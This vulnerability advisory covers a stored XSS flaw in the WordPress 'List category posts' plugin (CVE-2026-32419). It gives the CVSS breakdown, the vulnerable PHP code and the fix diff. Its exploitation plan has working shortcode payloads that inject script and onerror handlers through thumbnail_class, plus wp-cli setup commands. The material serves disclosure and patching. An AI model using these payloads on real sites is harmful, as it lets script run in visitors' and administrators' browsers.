CVE-2026-32419

List category posts <= 0.93.1 - Authenticated (Author+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
0.94.0
Patched in
49d
Time to patch

Description

The List category posts plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 0.93.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=0.93.1
PublishedFebruary 26, 2026
Last updatedApril 15, 2026
Affected pluginlist-category-posts

What Changed in the Fix

Changes introduced in v0.94.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-32419 (List category posts <= 0.93.1) ## 1. Vulnerability Summary The **List category posts** plugin is vulnerable to **Stored Cross-Site Scripting (XSS)** via the `[catlist]` shortcode. Specifically, the `thumbnail_class` parameter is improperly neutralized b…

Show full research plan

Exploitation Research Plan: CVE-2026-32419 (List category posts <= 0.93.1)

1. Vulnerability Summary

The List category posts plugin is vulnerable to Stored Cross-Site Scripting (XSS) via the [catlist] shortcode. Specifically, the thumbnail_class parameter is improperly neutralized before being concatenated into the HTML output within the LcpThumbnail class. Authenticated users with Author privileges (or higher) can use the shortcode in post content to inject arbitrary JavaScript that executes when any user views the post.

2. Attack Vector Analysis

  • Endpoint: WordPress post/page editor (standard content creation).
  • Vulnerable Component: The [catlist] shortcode processing logic.
  • Vulnerable Parameter: thumbnail_class attribute within the shortcode.
  • Authentication Level: Author (can create and publish posts).
  • Sinks: include/lcp-thumbnail.php - get_thumbnail() and check_youtube_thumbnail() functions.

3. Code Flow

  1. Entry Point: A user creates or edits a post containing [catlist thumbnail_class='...'].
  2. Shortcode Registration: list-category-posts.php registers the shortcode:
    add_shortcode( 'catlist', array('ListCategoryPosts', 'catlist_func') );
    
  3. Processing: catlist_func() instantiates CatListDisplayer, which uses the CatList class to query posts.
  4. Display Logic: CatListDisplayer iterates through the results and calls LcpThumbnail::get_instance()->get_thumbnail(), passing the thumbnail_class parameter.
  5. The Sink (Manual HTML Concatenation): In include/lcp-thumbnail.php, within the get_thumbnail() function (line 62):
    } else if ( ($force_thumbnail === 'yes'|| $force_thumbnail === 'true') && preg_match('~<img[^>]*src\s?=\s?[\'"]([^\'"]*)~i',get_the_content(), $imgMatches)) {
      // ...
      if ( $lcp_thumb_class != null ) {  // thumbnail class passed as parameter to shortcode
        $lcp_thumbnail .= 'class="' . $lcp_thumb_class . '" '; // <--- VULNERABLE SINK
      }
    
    The variable $lcp_thumb_class is directly appended to the $lcp_thumbnail string without esc_attr() or any other sanitization.

4. Nonce Acquisition Strategy

This is a Stored XSS in post content. No specific plugin-defined AJAX nonces are required to execute the attack. The attacker simply needs to be able to save/publish a post. Standard WordPress _wpnonce protection for the post editor will be handled by the user's session when using the browser or wp-cli.

5. Exploitation Strategy

Step 1: Prepare Target Content

The vulnerable code path in get_thumbnail requires force_thumbnail=yes and a post that does not have a featured image but does contain an <img> tag in its content.

Step 2: Inject Payload

The Author will create a post containing the following shortcode:
[catlist id=1 thumbnail=yes force_thumbnail=yes thumbnail_class='"><script>alert(window.origin)</script>']

Step 3: Execution

When the page is rendered:

  1. The plugin searches for posts in Category 1.
  2. It finds the "Target Post" (which has an image in its content but no featured image).
  3. It reaches the vulnerable else if block in include/lcp-thumbnail.php.
  4. It constructs an <img> tag: <img src="URL" class=""><script>alert(window.origin)</script> " alt="..." />.
  5. The script executes in the browser of anyone viewing the post.

6. Test Data Setup

  1. Create Author User:
    wp user create attacker attacker@example.com --role=author --user_pass=password123
    
  2. Create Target Post (in Category 1, typically "Uncategorized"):
    wp post create --post_title="Target Post" --post_content='Look at this image: <img src="https://example.com/sample.jpg">' --post_status=publish --post_category=1
    
  3. Create Malicious Post (as Author):
    # Note: Using the http_request tool or browser_navigate to simulate Author activity
    

7. Expected Results

  • The HTTP response for the malicious post's URL should contain the raw payload: class=""><script>alert(window.origin)</script>.
  • When viewed in a browser, a JavaScript alert window showing the origin should appear.

8. Verification Steps

  1. Inspect HTML:
    Use http_request to fetch the post and check for the injected script.
    const response = await http_request.get("http://localhost:8080/?p=[POST_ID]");
    if (response.body.includes('class=""><script>alert(window.origin)</script>')) {
        console.log("XSS Verified");
    }
    
  2. Check Plugin Version:
    wp plugin get list-category-posts --field=version
    

9. Alternative Approaches

If force_thumbnail is not used, the check_youtube_thumbnail() function in include/lcp-thumbnail.php is also vulnerable via a similar pattern:

if ($lcp_thumb_class != null){
  $thmbn_class = ' class="' . $lcp_thumb_class . '" />';
  $lcp_ytimage = preg_replace("/\>/", $thmbn_class, $lcp_ytimage);
}

Alternative Payload:

  1. Create a post with a YouTube link: https://www.youtube.com/watch?v=dQw4w9WgXcQ.
  2. Use shortcode: [catlist thumbnail=yes thumbnail_class=' x" onerror="alert(1)"'].
  3. The preg_replace will result in: <img src="..." class=" x" onerror="alert(1)"" alt="..." />.
Research Findings
Static analysis — not yet PoC-verified

Summary

The List category posts plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via the [catlist] shortcode. This occurs because the 'thumbnail_class' attribute is improperly sanitized and escaped before being included in the generated HTML for post thumbnails. Authenticated attackers with Author-level permissions or higher can exploit this to inject arbitrary JavaScript that executes in the browser of any user viewing the affected post or page.

Vulnerable Code

// include/lcp-thumbnail.php lines 59-62
        $lcp_thumbnail .= '<img src="' . esc_url($imgMatches[1]) . '" ';
        if ( $lcp_thumb_class != null ) {  // thumbnail class passed as parameter to shortcode
          $lcp_thumbnail .= 'class="' . $lcp_thumb_class . '" ';
        }

---

// include/lcp-thumbnail.php lines 98-102
      if ($lcp_thumb_class != null){
        $thmbn_class = ' class="' . $lcp_thumb_class . '" />';
        $lcp_ytimage = preg_replace("/\>/", $thmbn_class, $lcp_ytimage);
      }

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/list-category-posts/0.93.1/include/lcp-thumbnail.php /home/deploy/wp-safety.org/data/plugin-versions/list-category-posts/0.94.0/include/lcp-thumbnail.php
--- /home/deploy/wp-safety.org/data/plugin-versions/list-category-posts/0.93.1/include/lcp-thumbnail.php	2024-01-08 10:06:40.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/list-category-posts/0.94.0/include/lcp-thumbnail.php	2026-02-16 20:33:42.000000000 +0000
@@ -58,7 +58,7 @@
 
         $lcp_thumbnail .= '<img src="' . esc_url($imgMatches[1]) . '" ';
         if ( $lcp_thumb_class != null ) {  // thumbnail class passed as parameter to shortcode
-          $lcp_thumbnail .= 'class="' . $lcp_thumb_class . '" ';
+          $lcp_thumbnail .= 'class="' . LcpUtils::sanitize_html_classes($lcp_thumb_class) . '" ';
         }
         else { // Otherwise, use this class name
           $lcp_thumbnail .= 'class="lcp_thumbnail" ';
@@ -74,7 +74,6 @@
 
   private function check_youtube_thumbnail($single, $lcp_thumb_class){
     $content = $single->content;
-    
     # youtube.com/watch?v=id
     $yt_pattern = '/([a-zA-Z0-9\-\_]+\.|)youtube\.com\/watch(\?v\=|\/v\/)([a-zA-Z0-9\-\_]{11})([^<\s]*)/';
     # youtube.com/v[id]
@@ -96,7 +95,7 @@
       $lcp_ytimage = '<img src="' . $imageurl . '" alt="' . $single->post_title . '" />';
 
       if ($lcp_thumb_class != null){
-        $thmbn_class = ' class="' . $lcp_thumb_class . '" />';
+        $thmbn_class = ' class="' . LcpUtils::sanitize_html_classes($lcp_thumb_class) . '" />';
         $lcp_ytimage = preg_replace("/\>/", $thmbn_class, $lcp_ytimage);
       }
       return '<a href="' . get_permalink($single->ID).'">' . $lcp_ytimage . '</a>';

Exploit Outline

1. Gain Author-level authentication on the WordPress site. 2. Create a post that will serve as the target for the shortcode. This post should either contain an <img> tag in its content (if using force_thumbnail) or a YouTube link (if exploiting the check_youtube_thumbnail path). 3. Create a second post or page containing the [catlist] shortcode. 4. Within the shortcode, use the 'thumbnail_class' attribute to inject an XSS payload. For example: `[catlist thumbnail=yes force_thumbnail=yes thumbnail_class='"><script>alert(origin)</script>']`. 5. Publish the post. When any user (including an Administrator) views the page, the plugin will render the thumbnail for the target post, injecting the unsanitized class string directly into the HTML <img> tag and executing the JavaScript payload.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.